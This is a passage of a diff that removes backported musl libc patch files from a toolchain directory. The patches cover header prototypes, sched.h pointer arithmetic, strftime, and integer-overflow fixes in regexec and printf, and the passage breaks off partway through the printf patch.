-From: Daniel Sabogal <dsabogalcc at gmail.com>
-Date: Fri, 9 Sep 2016 21:23:17 -0400
-Subject: add missing *_unlocked and wcsftime_l prototypes to wchar.h
-
-these functions had been implemented, but prototypes were not made available
----
- include/wchar.h | 15 +++++++++++++++
- 1 file changed, 15 insertions(+)
-
-diff --git a/include/wchar.h b/include/wchar.h
-index 0167dce..3e6db5f 100644
---- a/include/wchar.h
-+++ b/include/wchar.h
-@@ -136,6 +136,21 @@ size_t wcsftime (wchar_t *__restrict, size_t, const wchar_t *__restrict, const s
- 
- #undef iswdigit
- 
-+#if defined(_GNU_SOURCE)
-+wint_t fgetwc_unlocked (FILE *);
-+wint_t getwc_unlocked (FILE *);
-+wint_t getwchar_unlocked (void);
-+wint_t fputwc_unlocked (wchar_t, FILE *);
-+wint_t putwc_unlocked (wchar_t, FILE *);
-+wint_t putwchar_unlocked (wchar_t);
-+wchar_t *fgetws_unlocked (wchar_t *__restrict, int, FILE *__restrict);
-+int fputws_unlocked (const wchar_t *__restrict, FILE *__restrict);
-+#endif
-+
-+#if defined(_GNU_SOURCE) || defined(_BSD_SOURCE)
-+size_t wcsftime_l (wchar_t *__restrict, size_t, const wchar_t *__restrict, const struct tm *__restrict, locale_t);
-+#endif
-+
- #if defined(_POSIX_SOURCE) || defined(_POSIX_C_SOURCE) \
-  || defined(_XOPEN_SOURCE) || defined(_GNU_SOURCE)  || defined(_BSD_SOURCE)
- FILE *open_wmemstream(wchar_t **, size_t *);
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/033-fix-undefined-behavior-in-sched.h-cpu_set_t-usage.patch b/toolchain/musl/patches/033-fix-undefined-behavior-in-sched.h-cpu_set_t-usage.patch
deleted file mode 100644
index c634d59e4b..0000000000
--- a/toolchain/musl/patches/033-fix-undefined-behavior-in-sched.h-cpu_set_t-usage.patch
+++ /dev/null
@@ -1,43 +0,0 @@
-From 66570ec9c465e3c6c5d6dbd7dd42e45041a39288 Mon Sep 17 00:00:00 2001
-From: Rich Felker <dalias at aerifal.cx>
-Date: Mon, 19 Sep 2016 11:15:51 -0400
-Subject: fix undefined behavior in sched.h cpu_set_t usage
-
-since cpu sets can be dynamically allocated and have variable size,
-accessing their contents via ->__bits is not valid; performing pointer
-arithmetic outside the range of the size of the declared __bits array
-results in undefined beahavior. instead, only use cpu_set_t for
-fixed-size cpu set objects (instantiated by the caller) and as an
-abstract pointer type for dynamically allocated ones. perform all
-accesses simply by casting the abstract pointer type cpuset_t * back
-to unsigned long *.
----
- include/sched.h | 6 +++---
- 1 file changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/include/sched.h b/include/sched.h
-index af82d6c..d1cccb7 100644
---- a/include/sched.h
-+++ b/include/sched.h
-@@ -82,7 +82,7 @@ int sched_getaffinity(pid_t, size_t, cpu_set_t *);
- int sched_setaffinity(pid_t, size_t, const cpu_set_t *);
- 
- #define __CPU_op_S(i, size, set, op) ( (i)/8U >= (size) ? 0 : \
--	((set)->__bits[(i)/8/sizeof(long)] op (1UL<<((i)%(8*sizeof(long))))) )
-+	(((unsigned long *)(set))[(i)/8/sizeof(long)] op (1UL<<((i)%(8*sizeof(long))))) )
- 
- #define CPU_SET_S(i, size, set) __CPU_op_S(i, size, set, |=)
- #define CPU_CLR_S(i, size, set) __CPU_op_S(i, size, set, &=~)
-@@ -94,8 +94,8 @@ static __inline void __CPU_##func##_S(size_t __size, cpu_set_t *__dest, \
- { \
- 	size_t __i; \
- 	for (__i=0; __i<__size/sizeof(long); __i++) \
--		__dest->__bits[__i] = __src1->__bits[__i] \
--			op __src2->__bits[__i] ; \
-+		((unsigned long *)__dest)[__i] = ((unsigned long *)__src1)[__i] \
-+			op ((unsigned long *)__src2)[__i] ; \
- }
- 
- __CPU_op_func_S(AND, &)
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/035-fix-getservby_r-result-pointer-value-on-error.patch b/toolchain/musl/patches/035-fix-getservby_r-result-pointer-value-on-error.patch
deleted file mode 100644
index 67d9c7a4d4..0000000000
--- a/toolchain/musl/patches/035-fix-getservby_r-result-pointer-value-on-error.patch
+++ /dev/null
@@ -1,41 +0,0 @@
-From 8d7a3f40c8de414122eb8eb2131291782ee8ed15 Mon Sep 17 00:00:00 2001
-From: Daniel Sabogal <dsabogalcc at gmail.com>
-Date: Fri, 23 Sep 2016 21:10:07 -0400
-Subject: fix getservby*_r result pointer value on error
-
-this is a clone of the fix to the gethostby*_r functions in
-commit fe82bb9b921be34370e6b71a1c6f062c20999ae0. the man pages
-document that the getservby*_r functions set this pointer to
-NULL if there was an error or if no record was found.
----
- src/network/getservbyname_r.c | 2 ++
- src/network/getservbyport_r.c | 1 +
- 2 files changed, 3 insertions(+)
-
-diff --git a/src/network/getservbyname_r.c b/src/network/getservbyname_r.c
-index 056c2f3..ad3d616 100644
---- a/src/network/getservbyname_r.c
-+++ b/src/network/getservbyname_r.c
-@@ -15,6 +15,8 @@ int getservbyname_r(const char *name, const char *prots,
- 	struct service servs[MAXSERVS];
- 	int cnt, proto, align;
- 
-+	*res = 0;
-+
- 	/* Align buffer */
- 	align = -(uintptr_t)buf & ALIGN-1;
- 	if (buflen < 2*sizeof(char *)+align)
-diff --git a/src/network/getservbyport_r.c b/src/network/getservbyport_r.c
-index a0a7cae..0ae0e41 100644
---- a/src/network/getservbyport_r.c
-+++ b/src/network/getservbyport_r.c
-@@ -20,6 +20,7 @@ int getservbyport_r(int port, const char *prots,
- 		if (r) r = getservbyport_r(port, "udp", se, buf, buflen, res);
- 		return r;
- 	}
-+	*res = 0;
- 
- 	/* Align buffer */
- 	i = (uintptr_t)buf & sizeof(char *)-1;
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/036-fix-strftime-y-for-negative-tm_year.patch b/toolchain/musl/patches/036-fix-strftime-y-for-negative-tm_year.patch
deleted file mode 100644
index 1f7ad5b8e1..0000000000
--- a/toolchain/musl/patches/036-fix-strftime-y-for-negative-tm_year.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-From 583ea83541dcc6481c7a1bd1a9b485526bad84a1 Mon Sep 17 00:00:00 2001
-From: Szabolcs Nagy <nsz at port70.net>
-Date: Tue, 4 Oct 2016 17:14:57 +0000
-Subject: fix strftime %y for negative tm_year
-
----
- src/time/strftime.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/src/time/strftime.c b/src/time/strftime.c
-index f1ccc4d..e103e02 100644
---- a/src/time/strftime.c
-+++ b/src/time/strftime.c
-@@ -167,6 +167,7 @@ const char *__strftime_fmt_1(char (*s)[100], size_t *l, int f, const struct tm *
- 		goto nl_strftime;
- 	case 'y':
- 		val = tm->tm_year % 100;
-+		if (val<0) val += 100;
- 		goto number;
- 	case 'Y':
- 		val = tm->tm_year + 1900LL;
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/037-fix-missing-integer-overflow-checks-in-regexec-buffer-size-computations.patch b/toolchain/musl/patches/037-fix-missing-integer-overflow-checks-in-regexec-buffer-size-computations.patch
deleted file mode 100644
index 9d6e47572a..0000000000
--- a/toolchain/musl/patches/037-fix-missing-integer-overflow-checks-in-regexec-buffer-size-computations.patch
+++ /dev/null
@@ -1,72 +0,0 @@
-From c3edc06d1e1360f3570db9155d6b318ae0d0f0f7 Mon Sep 17 00:00:00 2001
-From: Rich Felker <dalias at aerifal.cx>
-Date: Thu, 6 Oct 2016 18:34:58 -0400
-Subject: fix missing integer overflow checks in regexec buffer size
- computations
-
-most of the possible overflows were already ruled out in practice by
-regcomp having already succeeded performing larger allocations.
-however at least the num_states*num_tags multiplication can clearly
-overflow in practice. for safety, check them all, and use the proper
-type, size_t, rather than int.
-
-also improve comments, use calloc in place of malloc+memset, and
-remove bogus casts.
----
- src/regex/regexec.c | 23 ++++++++++++++++++-----
- 1 file changed, 18 insertions(+), 5 deletions(-)
-
-diff --git a/src/regex/regexec.c b/src/regex/regexec.c
-index 16c5d0a..dd52319 100644
---- a/src/regex/regexec.c
-+++ b/src/regex/regexec.c
-@@ -34,6 +34,7 @@
- #include <wchar.h>
- #include <wctype.h>
- #include <limits.h>
-+#include <stdint.h>
- 
- #include <regex.h>
- 
-@@ -206,11 +207,24 @@ tre_tnfa_run_parallel(const tre_tnfa_t *tnfa, const void *string,
- 
-   /* Allocate memory for temporary data required for matching.	This needs to
-      be done for every matching operation to be thread safe.  This allocates
--     everything in a single large block from the stack frame using alloca()
--     or with malloc() if alloca is unavailable. */
-+     everything in a single large block with calloc(). */
-   {
--    int tbytes, rbytes, pbytes, xbytes, total_bytes;
-+    size_t tbytes, rbytes, pbytes, xbytes, total_bytes;
-     char *tmp_buf;
-+
-+    /* Ensure that tbytes and xbytes*num_states cannot overflow, and that
-+     * they don't contribute more than 1/8 of SIZE_MAX to total_bytes. */
-+    if (num_tags > SIZE_MAX/(8 * sizeof(int) * tnfa->num_states))
-+      goto error_exit;
-+
-+    /* Likewise check rbytes. */
-+    if (tnfa->num_states+1 > SIZE_MAX/(8 * sizeof(*reach_next)))
-+      goto error_exit;
-+
-+    /* Likewise check pbytes. */
-+    if (tnfa->num_states > SIZE_MAX/(8 * sizeof(*reach_pos)))
-+      goto error_exit;
-+
-     /* Compute the length of the block we need. */
-     tbytes = sizeof(*tmp_tags) * num_tags;
-     rbytes = sizeof(*reach_next) * (tnfa->num_states + 1);
-@@ -221,10 +235,9 @@ tre_tnfa_run_parallel(const tre_tnfa_t *tnfa, const void *string,
-       + (rbytes + xbytes * tnfa->num_states) * 2 + tbytes + pbytes;
- 
-     /* Allocate the memory. */
--    buf = xmalloc((unsigned)total_bytes);
-+    buf = calloc(total_bytes, 1);
-     if (buf == NULL)
-       return REG_ESPACE;
--    memset(buf, 0, (size_t)total_bytes);
- 
-     /* Get the various pointers within tmp_buf (properly aligned). */
-     tmp_tags = (void *)buf;
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/038-fix-regexec-with-haystack-strings-longer-than-int_max.patch b/toolchain/musl/patches/038-fix-regexec-with-haystack-strings-longer-than-int_max.patch
deleted file mode 100644
index a936892174..0000000000
--- a/toolchain/musl/patches/038-fix-regexec-with-haystack-strings-longer-than-int_max.patch
+++ /dev/null
@@ -1,189 +0,0 @@
-From aee6abb2400b9a955c2b41166db1c22f63ad42ef Mon Sep 17 00:00:00 2001
-From: Rich Felker <dalias at aerifal.cx>
-Date: Thu, 6 Oct 2016 12:15:47 -0400
-Subject: fix regexec with haystack strings longer than INT_MAX
-
-we inherited from TRE regexec code that's utterly wrong with respect
-to the integer types it's using. while it doesn't appear that
-compilers are producing unsafe output, signed integer overflows seem
-to happen, and regexec fails to find matches past offset INT_MAX.
-
-this patch fixes the type of all variables/fields used to store
-offsets in the string from int to regoff_t. after the changes, basic
-testing showed that regexec can now find matches past 2GB (INT_MAX)
-and past 4GB on x86_64, and code generation is unchanged on i386.
----
- src/regex/regexec.c | 54 +++++++++++++++++++++++++++--------------------------
- 1 file changed, 28 insertions(+), 26 deletions(-)
-
-diff --git a/src/regex/regexec.c b/src/regex/regexec.c
-index dd52319..5c4cb92 100644
---- a/src/regex/regexec.c
-+++ b/src/regex/regexec.c
-@@ -44,7 +44,7 @@
- 
- static void
- tre_fill_pmatch(size_t nmatch, regmatch_t pmatch[], int cflags,
--		const tre_tnfa_t *tnfa, int *tags, int match_eo);
-+		const tre_tnfa_t *tnfa, regoff_t *tags, regoff_t match_eo);
- 
- /***********************************************************************
-  from tre-match-utils.h
-@@ -97,7 +97,7 @@ tre_fill_pmatch(size_t nmatch, regmatch_t pmatch[], int cflags,
- /* Returns 1 if `t1' wins `t2', 0 otherwise. */
- static int
- tre_tag_order(int num_tags, tre_tag_direction_t *tag_directions,
--	      int *t1, int *t2)
-+	      regoff_t *t1, regoff_t *t2)
- {
-   int i;
-   for (i = 0; i < num_tags; i++)
-@@ -157,25 +157,25 @@ tre_neg_char_classes_match(tre_ctype_t *classes, tre_cint_t wc, int icase)
- 
- typedef struct {
-   tre_tnfa_transition_t *state;
--  int *tags;
-+  regoff_t *tags;
- } tre_tnfa_reach_t;
- 
- typedef struct {
--  int pos;
--  int **tags;
-+  regoff_t pos;
-+  regoff_t **tags;
- } tre_reach_pos_t;
- 
- 
- static reg_errcode_t
- tre_tnfa_run_parallel(const tre_tnfa_t *tnfa, const void *string,
--		      int *match_tags, int eflags,
--		      int *match_end_ofs)
-+		      regoff_t *match_tags, int eflags,
-+		      regoff_t *match_end_ofs)
- {
-   /* State variables required by GET_NEXT_WCHAR. */
-   tre_char_t prev_c = 0, next_c = 0;
-   const char *str_byte = string;
--  int pos = -1;
--  int pos_add_next = 1;
-+  regoff_t pos = -1;
-+  regoff_t pos_add_next = 1;
- #ifdef TRE_MBSTATE
-   mbstate_t mbstate;
- #endif /* TRE_MBSTATE */
-@@ -191,10 +191,10 @@ tre_tnfa_run_parallel(const tre_tnfa_t *tnfa, const void *string,
-   int *tag_i;
-   int num_tags, i;
- 
--  int match_eo = -1;	   /* end offset of match (-1 if no match found yet) */
-+  regoff_t match_eo = -1;	   /* end offset of match (-1 if no match found yet) */
-   int new_match = 0;
--  int *tmp_tags = NULL;
--  int *tmp_iptr;
-+  regoff_t *tmp_tags = NULL;
-+  regoff_t *tmp_iptr;
- 
- #ifdef TRE_MBSTATE
-   memset(&mbstate, '\0', sizeof(mbstate));
-@@ -214,7 +214,7 @@ tre_tnfa_run_parallel(const tre_tnfa_t *tnfa, const void *string,
- 
-     /* Ensure that tbytes and xbytes*num_states cannot overflow, and that
-      * they don't contribute more than 1/8 of SIZE_MAX to total_bytes. */
--    if (num_tags > SIZE_MAX/(8 * sizeof(int) * tnfa->num_states))
-+    if (num_tags > SIZE_MAX/(8 * sizeof(regoff_t) * tnfa->num_states))
-       goto error_exit;
- 
-     /* Likewise check rbytes. */
-@@ -229,7 +229,7 @@ tre_tnfa_run_parallel(const tre_tnfa_t *tnfa, const void *string,
-     tbytes = sizeof(*tmp_tags) * num_tags;
-     rbytes = sizeof(*reach_next) * (tnfa->num_states + 1);
-     pbytes = sizeof(*reach_pos) * tnfa->num_states;
--    xbytes = sizeof(int) * num_tags;
-+    xbytes = sizeof(regoff_t) * num_tags;
-     total_bytes =
-       (sizeof(long) - 1) * 4 /* for alignment paddings */
-       + (rbytes + xbytes * tnfa->num_states) * 2 + tbytes + pbytes;
-@@ -490,12 +490,12 @@ error_exit:
- */
- 
- typedef struct {
--  int pos;
-+  regoff_t pos;
-   const char *str_byte;
-   tre_tnfa_transition_t *state;
-   int state_id;
-   int next_c;
--  int *tags;
-+  regoff_t *tags;
- #ifdef TRE_MBSTATE
-   mbstate_t mbstate;
- #endif /* TRE_MBSTATE */
-@@ -591,13 +591,13 @@ typedef struct tre_backtrack_struct {
- 
- static reg_errcode_t
- tre_tnfa_run_backtrack(const tre_tnfa_t *tnfa, const void *string,
--		       int *match_tags, int eflags, int *match_end_ofs)
-+		       regoff_t *match_tags, int eflags, regoff_t *match_end_ofs)
- {
-   /* State variables required by GET_NEXT_WCHAR. */
-   tre_char_t prev_c = 0, next_c = 0;
-   const char *str_byte = string;
--  int pos = 0;
--  int pos_add_next = 1;
-+  regoff_t pos = 0;
-+  regoff_t pos_add_next = 1;
- #ifdef TRE_MBSTATE
-   mbstate_t mbstate;
- #endif /* TRE_MBSTATE */
-@@ -610,15 +610,16 @@ tre_tnfa_run_backtrack(const tre_tnfa_t *tnfa, const void *string,
-      started from. */
-   int next_c_start;
-   const char *str_byte_start;
--  int pos_start = -1;
-+  regoff_t pos_start = -1;
- #ifdef TRE_MBSTATE
-   mbstate_t mbstate_start;
- #endif /* TRE_MBSTATE */
- 
-   /* End offset of best match so far, or -1 if no match found yet. */
--  int match_eo = -1;
-+  regoff_t match_eo = -1;
-   /* Tag arrays. */
--  int *next_tags, *tags = NULL;
-+  int *next_tags;
-+  regoff_t *tags = NULL;
-   /* Current TNFA state. */
-   tre_tnfa_transition_t *state;
-   int *states_seen = NULL;
-@@ -768,8 +769,9 @@ tre_tnfa_run_backtrack(const tre_tnfa_t *tnfa, const void *string,
- 	  /* This is a back reference state.  All transitions leaving from
- 	     this state have the same back reference "assertion".  Instead
- 	     of reading the next character, we match the back reference. */
--	  int so, eo, bt = trans_i->u.backref;
--	  int bt_len;
-+	  regoff_t so, eo;
-+	  int bt = trans_i->u.backref;
-+	  regoff_t bt_len;
- 	  int result;
- 
- 	  /* Get the substring we need to match against.  Remember to
-@@ -926,7 +928,7 @@ tre_tnfa_run_backtrack(const tre_tnfa_t *tnfa, const void *string,
-    endpoint values. */
- static void
- tre_fill_pmatch(size_t nmatch, regmatch_t pmatch[], int cflags,
--		const tre_tnfa_t *tnfa, int *tags, int match_eo)
-+		const tre_tnfa_t *tnfa, regoff_t *tags, regoff_t match_eo)
- {
-   tre_submatch_data_t *submatch_data;
-   unsigned int i, j;
-@@ -996,7 +998,7 @@ regexec(const regex_t *restrict preg, const char *restrict string,
- {
-   tre_tnfa_t *tnfa = (void *)preg->TRE_REGEX_T_FIELD;
-   reg_errcode_t status;
--  int *tags = NULL, eo;
-+  regoff_t *tags = NULL, eo;
-   if (tnfa->cflags & REG_NOSUB) nmatch = 0;
-   if (tnfa->num_tags > 0 && nmatch > 0)
-     {
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/039-fix-integer-overflow-in-float-printf-needed-precision-computation.patch b/toolchain/musl/patches/039-fix-integer-overflow-in-float-printf-needed-precision-computation.patch
deleted file mode 100644
index cfbd94f9a4..0000000000
--- a/toolchain/musl/patches/039-fix-integer-overflow-in-float-printf-needed-precision-computation.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From 70d2687d85c314963cf280759b23fd4573ff0d82 Mon Sep 17 00:00:00 2001
-From: Rich Felker <dalias at aerifal.cx>
-Date: Wed, 19 Oct 2016 20:17:16 -0400
-Subject: fix integer overflow in float printf needed-precision computation
-
-if the requested precision is close to INT_MAX, adding
-LDBL_MANT_DIG/3+8 overflows. in practice the resulting undefined
-behavior manifests as a large negative result, which is then used to
-compute the new end pointer (z) with a wildly out-of-bounds value
-(more overflow, more undefined behavior). the end result is at least
-incorrect output and character count (return value); worse things do
-not seem to happen, but detailed analysis has not been done.
-
-this patch fixes the overflow by performing the intermediate
-computation as unsigned; after division by 9, the final result
-necessarily fits in int.
----
- src/stdio/vfprintf.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/stdio/vfprintf.c b/src/stdio/vfprintf.c
-index e439a07..cd17ad7 100644
---- a/src/stdio/vfprintf.c
-+++ b/src/stdio/vfprintf.c
-@@ -312,7 +312,7 @@ static int fmt_fp(FILE *f, long double y, int w, int p, int fl, int t)
- 	}
- 	while (e2<0) {
- 		uint32_t carry=0, *b;
--		int sh=MIN(9,-e2), need=1+(p+LDBL_MANT_DIG/3+8)/9;
-+		int sh=MIN(9,-e2), need=1+(p+LDBL_MANT_DIG/3U+8)/9;
- 		for (d=a; d<z; d++) {
- 			uint32_t rm = *d & (1<<sh)-1;
- 			*d = (*d>>sh) + carry;
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/040-fix-integer-overflows-and-uncaught-eoverflow-in-printf-core.patch b/toolchain/musl/patches/040-fix-integer-overflows-and-uncaught-eoverflow-in-printf-core.patch
deleted file mode 100644
index 837fee9181..0000000000
--- a/toolchain/musl/patches/040-fix-integer-overflows-and-uncaught-eoverflow-in-printf-core.patch
+++ /dev/null
@@ -1,390 +0,0 @@
-From 167dfe9672c116b315e72e57a55c7769f180dffa Mon Sep 17 00:00:00 2001
-From: Rich Felker <dalias at aerifal.cx>
-Date: Thu, 20 Oct 2016 00:22:09 -0400
-Subject: fix integer overflows and uncaught EOVERFLOW in printf core
-
-this patch fixes a large number of missed internal signed-overflow
-checks and errors in determining when the return value (output length)
-would exceed INT_MAX, which should result in EOVERFLOW. some of the
-issues fixed were reported by Alexander Cherepanov; others were found
-in subsequent review of the code.
-
-aside from the signed overflows being undefined behavior, the
-following specific bugs were found to exist in practice:
-
-- overflows computing length of floating point formats with huge
-  explicit precisions, integer formats with prefix characters and huge
-  explicit precisions, or string arguments or format strings longer
-  than INT_MAX, resulted in wrong return value and wrong %n results.
-
-- literal width and precision values outside the range of int were
-  misinterpreted, yielding wrong behavior in at least one well-defined
-  case: string formats with precision greater than INT_MAX were
-  sometimes truncated.
-
-- in cases where EOVERFLOW is produced, incorrect values could be
-  written for %n specifiers past the point of exceeding INT_MAX.
-
-in addition to fixing these bugs, we now stop producing output
-immediately when output length would exceed INT_MAX, rather than
-continuing and returning an error only at the end.
----
- src/stdio/vfprintf.c  | 72 +++++++++++++++++++++++++++++++++++----------------
- src/stdio/vfwprintf.c | 63 +++++++++++++++++++++++++++-----------------
- 2 files changed, 89 insertions(+), 46 deletions(-)
-
-diff --git a/src/stdio/vfprintf.c b/src/stdio/vfprintf.c
-index cd17ad7..e2ab2dc 100644
---- a/src/stdio/vfprintf.c
-+++ b/src/stdio/vfprintf.c
-@@ -272,6 +272,8 @@ static int fmt_fp(FILE *f, long double y, int w, int p, int fl, int t)
- 			if (s-buf==1 && (y||p>0||(fl&ALT_FORM))) *s++='.';
- 		} while (y);
- 
-+		if (p > INT_MAX-2-(ebuf-estr)-pl)
-+			return -1;
- 		if (p && s-buf-2 < p)
- 			l = (p+2) + (ebuf-estr);
- 		else
-@@ -383,17 +385,22 @@ static int fmt_fp(FILE *f, long double y, int w, int p, int fl, int t)
- 				p = MIN(p,MAX(0,9*(z-r-1)+e-j));
- 		}
- 	}
-+	if (p > INT_MAX-1-(p || (fl&ALT_FORM)))
-+		return -1;
- 	l = 1 + p + (p || (fl&ALT_FORM));
- 	if ((t|32)=='f') {
-+		if (e > INT_MAX-l) return -1;
- 		if (e>0) l+=e;
- 	} else {
- 		estr=fmt_u(e<0 ? -e : e, ebuf);
- 		while(ebuf-estr<2) *--estr='0';
- 		*--estr = (e<0 ? '-' : '+');
- 		*--estr = t;
-+		if (ebuf-estr > INT_MAX-l) return -1;
- 		l += ebuf-estr;
- 	}
- 
-+	if (l > INT_MAX-pl) return -1;
- 	pad(f, ' ', w, pl+l, fl);
- 	out(f, prefix, pl);
- 	pad(f, '0', w, pl+l, fl^ZERO_PAD);
-@@ -437,8 +444,10 @@ static int fmt_fp(FILE *f, long double y, int w, int p, int fl, int t)
- 
- static int getint(char **s) {
- 	int i;
--	for (i=0; isdigit(**s); (*s)++)
--		i = 10*i + (**s-'0');
-+	for (i=0; isdigit(**s); (*s)++) {
-+		if (i > INT_MAX/10U || **s-'0' > INT_MAX-10*i) i = -1;
-+		else i = 10*i + (**s-'0');
-+	}
- 	return i;
- }
- 
-@@ -446,12 +455,12 @@ static int printf_core(FILE *f, const char *fmt, va_list *ap, union arg *nl_arg,
- {
- 	char *a, *z, *s=(char *)fmt;
- 	unsigned l10n=0, fl;
--	int w, p;
-+	int w, p, xp;
- 	union arg arg;
- 	int argpos;
- 	unsigned st, ps;
- 	int cnt=0, l=0;
--	int i;
-+	size_t i;
- 	char buf[sizeof(uintmax_t)*3+3+LDBL_MANT_DIG/4];
- 	const char *prefix;
- 	int t, pl;
-@@ -459,18 +468,19 @@ static int printf_core(FILE *f, const char *fmt, va_list *ap, union arg *nl_arg,
- 	char mb[4];
- 
- 	for (;;) {
-+		/* This error is only specified for snprintf, but since it's
-+		 * unspecified for other forms, do the same. Stop immediately
-+		 * on overflow; otherwise %n could produce wrong results. */
-+		if (l > INT_MAX - cnt) goto overflow;
-+
- 		/* Update output count, end loop when fmt is exhausted */
--		if (cnt >= 0) {
--			if (l > INT_MAX - cnt) {
--				errno = EOVERFLOW;
--				cnt = -1;
--			} else cnt += l;
--		}
-+		cnt += l;
- 		if (!*s) break;
- 
- 		/* Handle literal text and %% format specifiers */
- 		for (a=s; *s && *s!='%'; s++);
- 		for (z=s; s[0]=='%' && s[1]=='%'; z++, s+=2);
-+		if (z-a > INT_MAX-cnt) goto overflow;
- 		l = z-a;
- 		if (f) out(f, a, l);
- 		if (l) continue;
-@@ -498,9 +508,9 @@ static int printf_core(FILE *f, const char *fmt, va_list *ap, union arg *nl_arg,
- 			} else if (!l10n) {
- 				w = f ? va_arg(*ap, int) : 0;
- 				s++;
--			} else return -1;
-+			} else goto inval;
- 			if (w<0) fl|=LEFT_ADJ, w=-w;
--		} else if ((w=getint(&s))<0) return -1;
-+		} else if ((w=getint(&s))<0) goto overflow;
- 
- 		/* Read precision */
- 		if (*s=='.' && s[1]=='*') {
-@@ -511,24 +521,29 @@ static int printf_core(FILE *f, const char *fmt, va_list *ap, union arg *nl_arg,
- 			} else if (!l10n) {
- 				p = f ? va_arg(*ap, int) : 0;
- 				s+=2;
--			} else return -1;
-+			} else goto inval;
-+			xp = (p>=0);
- 		} else if (*s=='.') {
- 			s++;
- 			p = getint(&s);
--		} else p = -1;
-+			xp = 1;
-+		} else {
-+			p = -1;
-+			xp = 0;
-+		}
- 
- 		/* Format specifier state machine */
- 		st=0;
- 		do {
--			if (OOB(*s)) return -1;
-+			if (OOB(*s)) goto inval;
- 			ps=st;
- 			st=states[st]S(*s++);
- 		} while (st-1<STOP);
--		if (!st) return -1;
-+		if (!st) goto inval;
- 
- 		/* Check validity of argument type (nl/normal) */
- 		if (st==NOARG) {
--			if (argpos>=0) return -1;
-+			if (argpos>=0) goto inval;
- 		} else {
- 			if (argpos>=0) nl_type[argpos]=st, arg=nl_arg[argpos];
- 			else if (f) pop_arg(&arg, st, ap);
-@@ -584,6 +599,7 @@ static int printf_core(FILE *f, const char *fmt, va_list *ap, union arg *nl_arg,
- 		case 'u':
- 			a = fmt_u(arg.i, z);
- 			}
-+			if (xp && p<0) goto overflow;
- 			if (p>=0) fl &= ~ZERO_PAD;
- 			if (!arg.i && !p) {
- 				a=z;
-@@ -599,9 +615,9 @@ static int printf_core(FILE *f, const char *fmt, va_list *ap, union arg *nl_arg,
- 			if (1) a = strerror(errno); else
- 		case 's':
- 			a = arg.p ? arg.p : "(null)";
--			z = memchr(a, 0, p);
--			if (!z) z=a+p;
--			else p=z-a;
-+			z = a + strnlen(a, p<0 ? INT_MAX : p);
-+			if (p<0 && *z) goto overflow;
-+			p = z-a;
- 			fl &= ~ZERO_PAD;
- 			break;
- 		case 'C':
-@@ -611,8 +627,9 @@ static int printf_core(FILE *f, const char *fmt, va_list *ap, union arg *nl_arg,
- 			p = -1;
- 		case 'S':
- 			ws = arg.p;
--			for (i=l=0; i<0U+p && *ws && (l=wctomb(mb, *ws++))>=0 && l<=0U+p-i; i+=l);
-+			for (i=l=0; i<p && *ws && (l=wctomb(mb, *ws++))>=0 && l<=p-i; i+=l);
- 			if (l<0) return -1;
-+			if (i > INT_MAX) goto overflow;
- 			p = i;
- 			pad(f, ' ', w, p, fl);
- 			ws = arg.p;
-@@ -623,12 +640,16 @@ static int printf_core(FILE *f, const char *fmt, va_list *ap, union arg *nl_arg,
- 			continue;
- 		case 'e': case 'f': case 'g': case 'a':
- 		case 'E': case 'F': case 'G': case 'A':
-+			if (xp && p<0) goto overflow;
- 			l = fmt_fp(f, arg.f, w, p, fl, t);
-+			if (l<0) goto overflow;
- 			continue;
- 		}
- 
- 		if (p < z-a) p = z-a;
-+		if (p > INT_MAX-pl) goto overflow;
- 		if (w < pl+p) w = pl+p;
-+		if (w > INT_MAX-cnt) goto overflow;
- 
- 		pad(f, ' ', w, pl+p, fl);
- 		out(f, prefix, pl);
-@@ -646,8 +667,15 @@ static int printf_core(FILE *f, const char *fmt, va_list *ap, union arg *nl_arg,
- 	for (i=1; i<=NL_ARGMAX && nl_type[i]; i++)
- 		pop_arg(nl_arg+i, nl_type[i], ap);
- 	for (; i<=NL_ARGMAX && !nl_type[i]; i++);
--	if (i<=NL_ARGMAX) return -1;
-+	if (i<=NL_ARGMAX) goto inval;
- 	return 1;
-+
-+inval:
-+	errno = EINVAL;
-+	return -1;
-+overflow:
-+	errno = EOVERFLOW;
-+	return -1;
- }
- 
- int vfprintf(FILE *restrict f, const char *restrict fmt, va_list ap)
-diff --git a/src/stdio/vfwprintf.c b/src/stdio/vfwprintf.c
-index f9f1ecf..b8fff20 100644
---- a/src/stdio/vfwprintf.c
-+++ b/src/stdio/vfwprintf.c
-@@ -154,8 +154,10 @@ static void out(FILE *f, const wchar_t *s, size_t l)
- 
- static int getint(wchar_t **s) {
- 	int i;
--	for (i=0; iswdigit(**s); (*s)++)
--		i = 10*i + (**s-'0');
-+	for (i=0; iswdigit(**s); (*s)++) {
-+		if (i > INT_MAX/10U || **s-'0' > INT_MAX-10*i) i = -1;
-+		else i = 10*i + (**s-'0');
-+	}
- 	return i;
- }
- 
-@@ -168,8 +170,8 @@ static const char sizeprefix['y'-'a'] = {
- static int wprintf_core(FILE *f, const wchar_t *fmt, va_list *ap, union arg *nl_arg, int *nl_type)
- {
- 	wchar_t *a, *z, *s=(wchar_t *)fmt;
--	unsigned l10n=0, litpct, fl;
--	int w, p;
-+	unsigned l10n=0, fl;
-+	int w, p, xp;
- 	union arg arg;
- 	int argpos;
- 	unsigned st, ps;
-@@ -181,20 +183,19 @@ static int wprintf_core(FILE *f, const wchar_t *fmt, va_list *ap, union arg *nl_
- 	wchar_t wc;
- 
- 	for (;;) {
-+		/* This error is only specified for snprintf, but since it's
-+		 * unspecified for other forms, do the same. Stop immediately
-+		 * on overflow; otherwise %n could produce wrong results. */
-+		if (l > INT_MAX - cnt) goto overflow;
-+
- 		/* Update output count, end loop when fmt is exhausted */
--		if (cnt >= 0) {
--			if (l > INT_MAX - cnt) {
--				if (!ferror(f)) errno = EOVERFLOW;
--				cnt = -1;
--			} else cnt += l;
--		}
-+		cnt += l;
- 		if (!*s) break;
- 
- 		/* Handle literal text and %% format specifiers */
